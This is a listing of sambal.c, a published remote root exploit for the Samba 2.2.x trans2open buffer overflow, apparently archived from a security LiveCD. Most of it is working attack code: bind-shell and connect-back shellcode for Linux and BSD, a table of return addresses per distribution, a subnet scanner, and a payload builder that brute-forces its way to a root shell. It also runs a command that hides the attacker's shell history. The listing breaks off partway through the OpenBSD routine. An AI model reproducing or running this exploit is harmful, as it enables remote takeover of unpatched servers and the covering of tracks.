home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / sambal.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  46KB  |  1,110 lines
  1. /*           _ ________            _____                        ______
  2.     __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ ____
  3. ___
  4.          _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
  5.    ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____
  6.  _
  7.       - -------\______||--._____\---._______//-|__    //-.___|----._____||
  8.                                                / \   /
  9.                                                    \/
  10. [*] samba-2.2.8 < remote root exploit                 by eSDee (www.netric.org|
  11. be)
  12.     ---------------------------------------------------------------------------
  13. ---
  14.     sambal.c is a remote root exploit for samba 2.2.x and prior that works agai
  15. nst 
  16.     Linux (all distros), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x
  17.  
  18.     and 3.2-non exec stack). It has a scan option, so you can easily identify y
  19. our 
  20.     lost samba boxes on your home WAN...
  21.     It began with the creation of the great buffer.
  22.     Four bytes were written to it to mark the beginning of it.
  23.     Seven bytes were written to store all information.
  24.     And nine, nine bytes were written to the end to assure a long enough buffer
  25. .
  26.     For within this buffer, it could harbor all required user input.
  27.     But they were all deceived, for another byte was written.
  28.     Inside the Memory, in the heart of the stack. The user input was long enoug
  29. h
  30.     to write a master byte. To control the entire buffer, and into this byte, t
  31. he user
  32.     poured his cruelty, his malice and his will to dominate it all!
  33.     One byte to rule them all.... 
  34.     Copyright (c) 2003 Netric Security
  35.     All rights reserved.
  36.     THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
  37.     WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
  38.     MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  39. [*] The bug
  40.     in /source/smbd/trans2.c on line 250 - function: call_trans2open() :
  41.     namelen = strlen(pname)+1;
  42.     StrnCpy(fname,pname,namelen); 
  43. [*] MyFirstStachelNET(tm) - howto - 
  44.     sambal.c is able to identify samba boxes. It will send a netbios
  45.     name packet to port 137. If the box responds with the mac address
  46.     00-00-00-00-00-00, it's probally running samba.
  47.  
  48.     [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
  49.     samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
  50.     --------------------------------------------------------------
  51.     + Scan mode.
  52.     + [192.168.0.3] Samba
  53.     + [192.168.0.10] Windows
  54.     + [192.168.0.20] Windows
  55.     + [192.168.0.21] Samba
  56.     + [192.168.0.30] Windows
  57.     + [192.168.0.31] Samba
  58.     + [192.168.0.33] Windows
  59.     + [192.168.0.35] Windows
  60.     + [192.168.0.36] Windows
  61.     + [192.168.0.37] Windows
  62.     ...
  63.     + [192.168.0.133] Samba
  64.     Great!
  65.     You could now try a preset (-t0 for a list), but most of the 
  66.     time bruteforce will do. The smbd spawns a new process on every 
  67.     connect, so we can bruteforce the return address...
  68.     [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
  69.     samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
  70.     --------------------------------------------------------------
  71.     + Verbose mode.
  72.     + Bruteforce mode. (Linux)
  73.     + Using ret: [0xbffffed4]
  74.     + Using ret: [0xbffffda8]
  75.     + Using ret: [0xbffffc7c]
  76.     + Using ret: [0xbffffb50]
  77.     + Using ret: [0xbffffa24]
  78.     + Using ret: [0xbffff8f8]
  79.     + Using ret: [0xbffff7cc]
  80.     + Worked!
  81.     --------------------------------------------------------------
  82.     *** JE MOET JE MUIL HOUWE
  83.     Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
  84.  i586 i386 GNU/Linux
  85.     uid=0(root) gid=0(root) groups=99(nobody)
  86. [*] Credits
  87.     lynx, mike, sacrine, the_itch, tozz (for adding targets) 
  88.     no1 (i ripped some parts from a subnet scanner) 
  89. */
  90.   
  91. #include <stdio.h>
  92. #include <string.h>
  93. #include <stdlib.h>
  94. #include <netdb.h>
  95. #include <errno.h>
  96. #include <fcntl.h>
  97. #include <signal.h>
  98. #include <string.h>
  99. #include <unistd.h>
  100. #include <sys/select.h>
  101. #include <sys/socket.h>
  102. #include <sys/types.h>
  103. #include <sys/time.h>
  104. #include <sys/wait.h>
  105. #include <netinet/in.h>
  106. #include <arpa/inet.h>
  107. typedef struct {
  108.         unsigned char type;
  109.         unsigned char flags;
  110.         unsigned short length;
  111. } NETBIOS_HEADER;
  112. typedef struct {
  113.         unsigned char protocol[4];
  114.         unsigned char command;
  115.         unsigned short status;
  116.         unsigned char reserved;
  117.         unsigned char  flags;
  118.         unsigned short flags2;
  119.         unsigned char  pad[12];
  120.         unsigned short tid;
  121.         unsigned short pid;
  122.         unsigned short uid;
  123.         unsigned short mid;
  124. } SMB_HEADER;
  125. int OWNED = 0;
  126. pid_t childs[100];
  127. struct sockaddr_in addr1;
  128. struct sockaddr_in addr2;
  129. char
  130. linux_bindcode[] =
  131.         "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
  132.         "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
  133.         "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
  134.         "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
  135.         "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
  136.         "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
  137.         "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
  138.         "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
  139.         "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
  140.         "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
  141.         "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
  142.         "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
  143.         "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
  144. char
  145. bsd_bindcode[] =
  146.         "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  147.         "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
  148.         "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
  149.         "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
  150.         "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
  151.         "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
  152.         "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
  153.         "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
  154.         "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
  155.         "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
  156.         "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
  157.         "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
  158.         "\xeb\x9a";
  159. char
  160. linux_connect_back[] =
  161.         "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
  162.         "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  163.         "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  164.         "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  165.         "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  166.         "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  167.         "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  168.         "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  169.         "\x01\xcd\x80"; 
  170. char
  171. bsd_connect_back[] =
  172.         "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  173.         "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
  174.         "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
  175.         "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  176.         "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
  177.         "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
  178.         "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
  179.         "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  180. struct {
  181.         char *type;
  182.         unsigned long ret;
  183.         char *shellcode;
  184.         int os_type;    /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec 
  185. stack */
  186. } targets[] = {
  187.         { "samba-2.2.x - Debian 3.0           ", 0xbffffea2, linux_bindcode,
  188. 0 },
  189.         { "samba-2.2.x - Gentoo 1.4.x         ", 0xbfffe890, linux_bindcode,   
  190.  0 },
  191.         { "samba-2.2.x - Mandrake 8.x         ", 0xbffff6a0, linux_bindcode,
  192. 0 },
  193.         { "samba-2.2.x - Mandrake 9.0         ", 0xbfffe638, linux_bindcode,
  194. 0 },
  195.         { "samba-2.2.x - Redhat 9.0           ", 0xbffff7cc, linux_bindcode,   
  196.  0 },
  197.         { "samba-2.2.x - Redhat 8.0           ", 0xbffff2f0, linux_bindcode, 
  198. 0 },
  199.         { "samba-2.2.x - Redhat 7.x           ", 0xbffff310, linux_bindcode, 
  200. 0 },
  201.         { "samba-2.2.x - Redhat 6.x           ", 0xbffff2f0, linux_bindcode, 
  202. 0 },
  203.         { "samba-2.2.x - Slackware 9.0        ", 0xbffff574, linux_bindcode,
  204. 0 },
  205.         { "samba-2.2.x - Slackware 8.x        ", 0xbffff574, linux_bindcode,   
  206.  0 },
  207.         { "samba-2.2.x - SuSE 7.x             ", 0xbffffbe6, linux_bindcode,  
  208. 0 }, 
  209.         { "samba-2.2.x - SuSE 8.x             ", 0xbffff8f8, linux_bindcode,   
  210.  0 },
  211.         { "samba-2.2.x - FreeBSD 5.0          ", 0xbfbff374, bsd_bindcode,     
  212. 1 },
  213.         { "samba-2.2.x - FreeBSD 4.x          ", 0xbfbff374, bsd_bindcode,
  214. 1 },
  215.         { "samba-2.2.x - NetBSD 1.6           ", 0xbfbfd5d0, bsd_bindcode,
  216. 1 },
  217.         { "samba-2.2.x - NetBSD 1.5           ", 0xbfbfd520, bsd_bindcode,     
  218.  1 },
  219.         { "samba-2.2.x - OpenBSD 3.2          ", 0x00159198, bsd_bindcode,
  220. 2 },
  221.         { "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode,     
  222.  2 },
  223.         { "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode,     
  224.  2 },
  225.         { "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,     
  226.  2 },
  227.         { "Crash (All platforms)              ", 0xbade5dee, linux_bindcode,
  228. 0 },
  229. };
  230. void shell();
  231. void usage();
  232. void handler();
  233. int is_samba(char *ip, unsigned long time_out);
  234. int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
  235. int read_timer(int fd, unsigned int time_out);
  236. int write_timer(int fd, unsigned int time_out);
  237. int start_session(int sock);
  238. int exploit_normal(int sock, unsigned long ret, char *shellcode);
  239. int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);
  240. void 
  241. usage(char *prog)
  242. {
  243.         fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"
  244.                         "-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/Net
  245. BSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"
  246.                         "-B <step>       bruteforce steps (default = 300)\n"
  247.                         "-c <ip address> connectback ip address\n"
  248.                         "-C <max childs> max childs for scan/bruteforce mode (d
  249. efault = 40)\n"
  250.                         "-d <delay>      bruteforce/scanmode delay in micro sec
  251. onds (default = 100000)\n"
  252.                         "-f              force\n" 
  253.                         "-p <port>       port to attack (default = 139)\n"
  254.                         "-r <ret>        return address\n"
  255.                         "-s              scan mode (random)\n"
  256.                         "-S <network>    scan mode\n"
  257.                         "-t <type>       presets (0 for a list)\n" 
  258.                         "-v              verbose mode\n\n", prog);
  259.         
  260.         exit(1);
  261. }
  262. int
  263. is_samba(char *ip, unsigned long time_out)
  264. {
  265.         char
  266.         nbtname[]= /* netbios name packet */
  267.         {
  268.                 0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
  269.                 0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
  270.                 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  271.                 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  272.                 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  273.                 0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
  274.                 0x00,0x01
  275.         };
  276.         unsigned char recv_buf[1024];
  277.         unsigned char *ptr;
  278.         int i = 0;
  279.         int s = 0;
  280.         unsigned int total = 0;
  281.         if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;
  282.         if(Connect(s, ip, 137, time_out) == -1) {
  283.                 close(s);
  284.                 return -1;
  285.         } 
  286.         memset(recv_buf, 0x00, sizeof(recv_buf));
  287.         if(write_timer(s, time_out) == 1) {
  288.                 if (write(s, nbtname, sizeof(nbtname)) <= 0) {
  289.                         close(s);
  290.                         return -1;
  291.                 }
  292.         }
  293.         if (read_timer(s, time_out) == 1) {
  294.                 if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
  295.                         close(s);
  296.                         return -1;
  297.                 }
  298.                 ptr = recv_buf + 57;
  299.                 total = *(ptr - 1); /* max names */
  300.                 while(ptr < recv_buf + sizeof(recv_buf)) {
  301.                         ptr += 18;
  302.                         if (i == total) {
  303.                                 ptr -= 19;                      
  304.                                 if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 &
  305. & *(ptr + 3) == 0x00 &&
  306.                                      *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 &
  307. & *(ptr + 6) == 0x00) {
  308.                                         close(s);
  309.                                         return 0;
  310.                                 }
  311.                                 close(s);
  312.                                 return 1;
  313.                         }
  314.                         i++;    
  315.                 }
  316.         }
  317.         close(s);
  318.         return -1;
  319. }
  320. int 
  321. Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
  322. {
  323.         /* ripped from no1 */
  324.         int                      flags;
  325.         int                      select_status;
  326.         fd_set                   connect_read, connect_write;
  327.         struct timeval           timeout;
  328.         int                      getsockopt_length = 0;
  329.         int                      getsockopt_error = 0;
  330.         struct sockaddr_in       server;
  331.         bzero(&server, sizeof(server));
  332.         server.sin_family = AF_INET;
  333.         inet_pton(AF_INET, ip, &server.sin_addr);
  334.         server.sin_port = htons(port);
  335.         if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  336.                 close(fd);
  337.                 return -1;
  338.         }
  339.   
  340.         if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  341.                 close(fd);
  342.                 return -1;
  343.         }
  344.         
  345.         timeout.tv_sec = time_out;
  346.         timeout.tv_usec = 0;
  347.         FD_ZERO(&connect_read);
  348.         FD_ZERO(&connect_write);
  349.         FD_SET(fd, &connect_read);
  350.         FD_SET(fd, &connect_write);
  351.         if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
  352.                 if(errno != EINPROGRESS) {
  353.                         close(fd);
  354.                         return -1;
  355.                 }
  356.         }
  357.         else {
  358.                 if(fcntl(fd, F_SETFL, flags) < 0) {
  359.                         close(fd);
  360.                         return -1;
  361.                 }
  362.                 
  363.                 return 1;
  364.         }
  365.         select_status = select(fd + 1, &connect_read, &connect_write, NULL, &ti
  366. meout);
  367.         if(select_status == 0) {
  368.                 close(fd);
  369.                 return -1;
  370.         }
  371.         if(select_status == -1) {
  372.                 close(fd);
  373.                 return -1;
  374.         }
  375.         if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
  376.                 if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write))
  377.  {
  378.                         getsockopt_length = sizeof(getsockopt_error);
  379.                         if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_err
  380. or, &getsockopt_length) < 0) {
  381.                                 errno = ETIMEDOUT;
  382.                                 close(fd);
  383.                                 return -1;
  384.                         }
  385.                         if(getsockopt_error == 0) {
  386.                                 if(fcntl(fd, F_SETFL, flags) < 0) {
  387.                                         close(fd);
  388.                                         return -1;
  389.                                 }
  390.                                 return 1;
  391.                         } 
  392.                         else {
  393.                                 errno = getsockopt_error;
  394.                                 close(fd);
  395.                                 return (-1);
  396.                                 }
  397.                         }
  398.                 }
  399.         else {
  400.                 close(fd);
  401.                 return 1;
  402.         }
  403.         if(fcntl(fd, F_SETFL, flags) < 0) {
  404.                 close(fd);
  405.                 return -1;
  406.         }
  407.         return 1;
  408. }
  409. int 
  410. read_timer(int fd, unsigned int time_out)
  411. {
  412.         /* ripped from no1 */
  413.         int                      flags;
  414.         int                      select_status;
  415.         fd_set                   fdread;
  416.         struct timeval           timeout;
  417.         if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  418.                 close(fd);
  419.                 return (-1);
  420.         }
  421.         if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  422.                 close(fd);
  423.                 return (-1);
  424.         }
  425.         timeout.tv_sec = time_out;
  426.         timeout.tv_usec = 0;
  427.         FD_ZERO(&fdread);
  428.         FD_SET(fd, &fdread);
  429.         select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
  430.         if(select_status == 0) {
  431.                 close(fd);
  432.                 return (-1);
  433.         }
  434.         if(select_status == -1) {
  435.                 close(fd);
  436.                 return (-1);
  437.         }
  438.   
  439.         if(FD_ISSET(fd, &fdread)) {
  440.   
  441.                 if(fcntl(fd, F_SETFL, flags) < 0) {
  442.                         close(fd);
  443.                         return -1;
  444.                 }
  445.                 
  446.                 return 1;
  447.         } 
  448.         else {
  449.                 close(fd);
  450.                 return 1;
  451.         }
  452. }
  453. int
  454. write_timer(int fd, unsigned int time_out)
  455. {
  456.         /* ripped from no1 */
  457.         int                      flags;
  458.         int                      select_status;
  459.         fd_set                   fdwrite;
  460.         struct timeval           timeout;
  461.         if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    
  462.                 close(fd);
  463.                 return (-1);
  464.         }
  465.         if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  466.                 close(fd);
  467.                 return (-1);
  468.         }
  469.         
  470.         timeout.tv_sec = time_out;
  471.         timeout.tv_usec = 0;
  472.         FD_ZERO(&fdwrite);
  473.         FD_SET(fd, &fdwrite);
  474.         select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
  475.         if(select_status == 0) {
  476.                 close(fd);
  477.                 return -1;
  478.         }
  479.         if(select_status == -1) {
  480.                 close(fd);
  481.                 return -1;
  482.         }
  483.         if(FD_ISSET(fd, &fdwrite)) {
  484.                 if(fcntl(fd, F_SETFL, flags) < 0) {
  485.                         close(fd);
  486.                         return -1;
  487.                 }
  488.                 return 1;
  489.         }
  490.         else { 
  491.                 close(fd);
  492.                 return -1;
  493.         }
  494. }
  495. void 
  496. shell(int sock)
  497. {
  498.         fd_set  fd_read;
  499.         char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE
  500. \";uname -a;id;\n";
  501.         int n;
  502.         FD_ZERO(&fd_read);
  503.         FD_SET(sock, &fd_read);
  504.         FD_SET(0, &fd_read);
  505.         send(sock, cmd, strlen(cmd), 0);
  506.         while(1) {
  507.                 FD_SET(sock,&fd_read);
  508.                 FD_SET(0,&fd_read);
  509.                 if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
  510.                 if (FD_ISSET(sock, &fd_read)) {
  511.                         if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
  512.                                 fprintf(stderr, "EOF\n");
  513.                                 exit(2);
  514.                         }
  515.                         if (write(1, buff, n) < 0) break;
  516.                 }
  517.                 if (FD_ISSET(0, &fd_read)) {
  518.                         if((n = read(0, buff, sizeof(buff))) < 0){
  519.                                 fprintf(stderr, "EOF\n");
  520.                                 exit(2);
  521.                         }
  522.                         if (send(sock, buff, n, 0) < 0) break;
  523.                 }
  524.                 usleep(10);
  525.         }
  526.         fprintf(stderr, "Connection lost.\n\n");
  527.         exit(0);
  528. }
  529. void
  530. handler()
  531. {
  532.         int sock = 0;
  533.         int i = 0;
  534.         OWNED = 1;
  535.         for (i = 0; i < 100; i++)
  536.                 if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);
  537.         if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
  538.                 close(sock);
  539.                 exit(1);
  540.         }
  541.         if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
  542.                 fprintf(stdout, "+ Worked!\n"
  543.                                 "----------------------------------------------
  544. ----------------\n");
  545.                 shell(sock);
  546.                 close(sock);
  547.         }
  548. }
  549. int 
  550. start_session(int sock)
  551. {
  552.         char buffer[1000];
  553.         char response[4096];
  554.         char session_data1[]    = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00
  555. \x00\x00\x00";
  556.         char session_data2[]    = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25
  557. \x6e\x6f\x62\x6f\x64\x79"
  558.                                   "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24
  559. ";
  560.         NETBIOS_HEADER  *netbiosheader;
  561.         SMB_HEADER      *smbheader;
  562.         memset(buffer, 0x00, sizeof(buffer));
  563.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  564.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  565.         netbiosheader->type     = 0x00;         /* session message */
  566.         netbiosheader->flags    = 0x00;
  567.         netbiosheader->length   = htons(0x2E);
  568.         smbheader->protocol[0]  = 0xFF;
  569.         smbheader->protocol[1]  = 'S';
  570.         smbheader->protocol[2]  = 'M';
  571.         smbheader->protocol[3]  = 'B';
  572.         smbheader->command      = 0x73;         /* session setup */
  573.         smbheader->flags        = 0x08;         /* caseless pathnames */
  574.         smbheader->flags2       = 0x01;         /* long filenames supported */
  575.         smbheader->pid          = getpid() & 0xFFFF;
  576.         smbheader->uid          = 100;
  577.         smbheader->mid          = 0x01;
  578.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
  579. ta1, sizeof(session_data1) - 1);
  580.         if(write_timer(sock, 3) == 1)
  581.                 if (send(sock, buffer, 50, 0) < 0) return -1;
  582.         memset(response, 0x00, sizeof(response));
  583.         if (read_timer(sock, 3) == 1)
  584.                 if (read(sock, response, sizeof(response) - 1) < 0) return -1;
  585.         netbiosheader = (NETBIOS_HEADER *)response;
  586.         smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
  587.         if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non sess
  588. ion message\n");
  589.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  590.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  591.         memset(buffer, 0x00, sizeof(buffer));
  592.         netbiosheader->type     = 0x00;         /* session message */
  593.         netbiosheader->flags    = 0x00;
  594.         netbiosheader->length   = htons(0x3C);
  595.         smbheader->protocol[0]  = 0xFF;
  596.         smbheader->protocol[1]  = 'S';
  597.         smbheader->protocol[2]  = 'M';
  598.         smbheader->protocol[3]  = 'B';
  599.         smbheader->command      = 0x70;         /* start connection */
  600.         smbheader->pid          = getpid() & 0xFFFF;
  601.         smbheader->tid          = 0x00;
  602.         smbheader->uid          = 100;
  603.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
  604. ta2, sizeof(session_data2) - 1);
  605.         if(write_timer(sock, 3) == 1)
  606.                 if (send(sock, buffer, 64, 0) < 0) return -1;
  607.         memset(response, 0x00, sizeof(response));
  608.         if (read_timer(sock, 3) == 1)
  609.                 if (read(sock, response, sizeof(response) - 1) < 0) return -1;
  610.         netbiosheader = (NETBIOS_HEADER *)response;
  611.         smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
  612.         if (netbiosheader->type != 0x00) return -1;
  613.         return 0;
  614. }
  615. int
  616. exploit_normal(int sock, unsigned long ret, char *shellcode)
  617. {
  618.         char buffer[4000];
  619.         char exploit_data[] =
  620.                 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x
  621. 00\x00\x00"
  622.                 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x
  623. 00\x00\x00\x00" 
  624.                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
  625. 00\x00\x00\x00"
  626.                 "\x00\x00\x00\x90";
  627.         int i = 0;
  628.         unsigned long dummy = ret - 0x90;
  629.         NETBIOS_HEADER  *netbiosheader;
  630.         SMB_HEADER      *smbheader;
  631.         memset(buffer, 0x00, sizeof(buffer));
  632.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  633.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  634.         netbiosheader->type             = 0x00;         /* session message */
  635.         netbiosheader->flags            = 0x04;
  636.         netbiosheader->length           = htons(2096);
  637.         smbheader->protocol[0]          = 0xFF;
  638.         smbheader->protocol[1]          = 'S';
  639.         smbheader->protocol[2]          = 'M';
  640.         smbheader->protocol[3]          = 'B';
  641.         smbheader->command              = 0x32;         /* SMBtrans2 */
  642.         smbheader->tid                  = 0x01;
  643.         smbheader->uid                  = 100;
  644.         memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
  645. ploit_data), 0x90, 3000);
  646.         buffer[1096] = 0xEB;
  647.         buffer[1097] = 0x70;
  648.         for (i = 0; i < 4 * 24; i += 8) {
  649.                 memcpy(buffer + 1099 + i, &dummy, 4);
  650.                 memcpy(buffer + 1103 + i, &ret,   4);
  651.         }
  652.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
  653.                         exploit_data, sizeof(exploit_data) - 1);
  654.         memcpy(buffer + 1800, shellcode, strlen(shellcode));
  655.         if(write_timer(sock, 3) == 1) {
  656.                 if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  657.                 return 0;
  658.         }
  659.         return -1;
  660. }
  661. int
  662. exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
  663. {
  664.         char buffer[4000];
  665.         char exploit_data[] =
  666.                 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x
  667. 00\x00\x00"
  668.                 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x
  669. 00\x00\x00\x00"
  670.                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
  671. 00\x00\x00\x00"
  672.                 "\x00\x00\x00\x90";
  673.         int i = 0;
  674.         unsigned long dummy = ret - 0x30;
  675.         NETBIOS_HEADER  *netbiosheader;
  676.         SMB_HEADER      *smbheader;
  677.         memset(buffer, 0x00, sizeof(buffer));
  678.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  679.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  680.         netbiosheader->type             = 0x00;         /* session message */
  681.         netbiosheader->flags            = 0x04;
  682.         netbiosheader->length           = htons(2096);
  683.         smbheader->protocol[0]          = 0xFF;
  684.         smbheader->protocol[1]          = 'S';
  685.         smbheader->protocol[2]          = 'M';
